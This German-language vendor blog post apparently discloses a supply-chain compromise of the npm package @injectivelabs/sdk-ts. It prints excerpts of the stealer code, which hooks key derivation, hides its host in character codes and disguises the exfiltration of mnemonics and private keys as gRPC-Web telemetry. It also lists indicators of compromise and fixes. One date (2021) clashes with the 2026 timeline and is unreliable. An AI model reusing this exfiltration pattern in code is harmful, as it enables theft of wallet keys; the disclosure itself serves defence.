Aikido

Das kompromittierte @injectivelabs/sdk-ts exfiltriert Wallet-Schlüssel über gefälschte Telemetriedaten

Verfasst von
Hunter Schwartz

Eine böswillige Veröffentlichung von @injectivelabs/sdk-ts, ein npm-Paket mit rund 50.000 Downloads pro Woche, enthielt Code, der Wallet-Mnemonics und private Schlüssel bei ihrer Generierung aufzeichnet und an einen vom Angreifer kontrollierten Endpunkt übermittelt. Die fehlerhafte Version, 1.20.21, war am 8. Juni 2026 weniger als eine Stunde lang auf npm verfügbar, bevor der Betreuer dies bemerkte und eine fehlerfreie Korrektur veröffentlichte. In dieser Zeit veröffentlichte der Angreifer zudem erneut dieselbe 1.20.21 Versionsnummer in 17 weiteren Paketen im @injectivelabs Gültigkeitsbereich, die jeweils an das manipulierte SDK gebunden sind, sodass Projekte, die von einem dieser SDKs abhängen, den Stealer transitiv mit einbinden würden.

Die Nutzlast ist klein und sieht aus wie gewöhnliche Instrumentierung. Sie wird bei der Installation nicht ausgeführt und beeinträchtigt das SDK-Verhalten in keiner Weise. Sie wartet darauf, dass die Anwendung im normalen Betrieb einen Schlüssel generiert, und kopiert das Geheimnis dann unbemerkt ab.

So funktioniert der Stealer

Der Schadcode befindet sich in zwei Build-Artefakten, dist/cjs/accounts-Cy0p4lLW.cjs und dist/esm/accounts-jQ1GSgaW.js. Im Vergleich zur sauberen Version 1.20.23 sind die beiden Dateien bis auf einen eingefügten Block und zwei einzeilige Hooks byteweise identisch. Der Block ist gekennzeichnet als src/utils/key-derivation-telemetry.ts und in einem eigenen Dokumentkommentar als anonymisierte Nutzungskennzahlen zur SDK-Optimierung beschrieben. Dabei ist jedoch nichts daran anonymisiert.

Die beiden Haken befinden sich im Inneren PrivateKey.fromMnemonic und PrivateKey.fromHex, die Standardeinstiegspunkte, die eine Anwendung aufruft, um eine Seed-Phrase oder einen rohen Hex-Schlüssel in eine nutzbare Wallet umzuwandeln. Jeder Hook wird vor der eigentlichen Ableitung ausgelöst, sodass das Geheimnis bei jedem legitimen Aufruf erfasst wird:

static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
    trackKeyDerivation("fm", words);        // full mnemonic phrase
    return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
 
static fromHex(privateKey) {
    trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes");  // raw private key
    ...
}

Die Markierungen „fm“ und „fh“ geben dem Betreiber an, welche Art von Geheimnis der jeweilige Datensatz enthält – mnemonisch oder hexadezimal –, damit er die Wallet auf seiner Seite rekonstruieren kann. „trackKeyDerivation“ fügt einen mit einem Zeitstempel versehenen Datensatz in eine Speicherwarteschlange ein und plant einen Flush ein:

function trackKeyDerivation(method, value) {
    _q.push(`${method}:${value}:${Date.now()}`);
    _flush();
}

Bei der Exfiltration legt der Angreifer besonderen Wert darauf, sich unauffällig zu verhalten. Der Zielhost wird als Array von Zeichencodes gespeichert und zur Laufzeit neu zusammengesetzt, sodass eine Klartext-Suche nach der Domain im Bundle nichts ergibt:

Domain liefert keine Ergebnisse:
const _d  = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = „https://“ + _d() + "/";   // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network

Der entschlüsselte Host, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, ist eine Subdomain, die so gestaltet ist, dass sie wie die gRPC-Web-Infrastruktur von Injective selbst aussieht, sodass der exfil-Datenverkehr neben den Netzwerkaufrufen erscheint, die eine echte Injective-Anwendung bereits tätigt. Ein 2-Sekunden-Timer mit Entprellung fasst die in der Warteschlange befindlichen Datensätze zu einem Batch zusammen, verbindet sie mit |, codiert den Blob in Base64 und sendet ihn ab:

function _send(d) {
    fetch(_ep, {
        method: "POST",
        headers: {
            "Content-Type": "application/grpc-web+proto",
            "X-Request-Id": d,          // base64 blob of stolen key material
        },
        ...
    }).catch(() => {});
    // node fallback: require("https").request(...) with the same headers
}

Die gestohlenen Daten werden im Request-Header „X-Request-Id“ statt im Request-Body übertragen, und der Knotenpfad sendet dazu einen Request-Body der Länge Null mit, sodass die Anfrage auf der Leitung wie ein normaler gRPC-Web-Aufruf aussieht, der eine Anfrage-ID enthält. Jeder Fehlerpfad wird stillschweigend abgefangen, sodass eine blockierte oder fehlgeschlagene Datenexfiltration dem Opfer niemals einen Fehler anzeigt. Die Wahl von „application/grpc-web+proto“ als Inhaltstyp vervollständigt die Tarnung.

Da der Auslöser die Schlüsselableitung zur Laufzeit ist und kein Lebenszyklus-Skript, sehen Scanner und Sandboxes, die erst nach der Installation aktiv werden, ein „sauberes“ Paket. Der Skriptblock im Manifest enthält überhaupt keine Installations-Hooks.

Ausweitung über den @injectivelabs-Gültigkeitsbereich hinweg

Nur @injectivelabs/sdk-ts@1.20.21 enthält den Schadcode. Die übrigen 17 Pakete, die der Angreifer am 21.01.2021 erneut veröffentlicht hat, wurden in ihrem eigenen Quellcode nicht verändert. Jedes einzelne wurde mit einer festen Abhängigkeitsfestlegung auf @injectivelabs/sdk-ts@1.20.21, die vergiftete Version. Ein Projekt, bei dem @injectivelabs/wallet-core@1.20.21… würde beispielsweise das bösartige SDK transitiv auflösen und den Stealer ausführen, ohne „sdk-ts“ jemals in seinem eigenen Manifest zu nennen. Aus diesem Grund reicht es hier nicht aus, nur die direkten Abhängigkeiten zu überprüfen. Die auf die Wallet ausgerichteten Paketnamen im Geltungsbereich entsprechen genau den Arbeitsabläufen, Seed-Phrasen und privaten Schlüsseln, für deren Erfassung die Payload entwickelt wurde.

Auswirkungen und Eindämmung

Der Kompromiss wurde durch Commits von einem GitHub-Konto mit einer langjährigen Historie in diesem Repository eingeführt, was eher auf eine Kontoübernahme als auf einen Drive-by-Angriff hindeutet. Der bösartige 1.20.21 wurde am 8. Juni 2026 um 22:59 Uhr GMT+2 veröffentlicht, der Betreuer machte die Änderung um 23:18 Uhr rückgängig, und um 23:48 Uhr wurde eine saubere Version veröffentlicht. Laut den eigenen Statistiken von npm wurde die schädliche Version 310 Mal heruntergeladen, bevor sie zurückgezogen wurde – eine geringe Zahl im Vergleich zu den 50.000 wöchentlichen Downloads des Projekts und den 87 abhängigen Paketen. Die schnelle Reaktion des Betreuers verhinderte, dass die Situation noch viel schlimmer ausfiel.

Die Eindämmung ist noch nicht abgeschlossen. Zum Zeitpunkt der ursprünglichen Meldung war die schädliche Version auf npm zwar mit einer Warnung als veraltet gekennzeichnet, aber noch nicht entfernt worden, sodass sie weiterhin heruntergeladen werden kann, und die Release-Artefakte der kompromittierten Version waren noch immer auf der GitHub-Release-Seite des Projekts vorhanden. Alle Mnemonik-Sequenzen oder privaten Schlüssel, die über diese Pakete übertragen wurden, sollten als offengelegt betrachtet werden. Übertragen Sie die Guthaben und tauschen Sie anschließend die Schlüssel und Seed-Phrasen aus.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Indikatoren für Kompromittierung

Netzwerkindikatoren

  • Endpunkt für die Datenexfiltration: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/

Schädliche Dateien

  • dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0
  • dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9

Betroffene Pakete

  • @injectivelabs/sdk-ts@1.20.21 (enthält den Stealer)
  • @injectivelabs/utils@1.20.21
  • @injectivelabs/networks@1.20.21
  • @injectivelabs/ts-types@1.20.21
  • @injectivelabs/exceptions@1.20.21
  • @injectivelabs/wallet-base@1.20.21
  • @injectivelabs/wallet-core@1.20.21
  • @injectivelabs/wallet-cosmos@1.20.21
  • @injectivelabs/wallet-private-key@1.20.21
  • @injectivelabs/wallet-evm@1.20.21
  • @injectivelabs/wallet-trezor@1.20.21
  • @injectivelabs/wallet-cosmostation@1.20.21
  • @injectivelabs/wallet-ledger@1.20.21
  • @injectivelabs/wallet-wallet-connect@1.20.21
  • @injectivelabs/wallet-magic@1.20.21
  • @injectivelabs/wallet-strategy@1.20.21
  • @injectivelabs/wallet-turnkey@1.20.21
  • @injectivelabs/wallet-cosmos-strategy@1.20.21

Behebung

  • Aktualisieren Sie ein beliebiges @injectivelabs Paket, das auf 1.20.21 festgelegt oder darauf auflösbar ist, auf die saubere Version 1.20.23.

Zuletzt aktualisiert am: 9. Juli 2026

Teilen:

https://www.aikido.dev/blog/compromised-injectivelabs-exfiltrates-keys

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.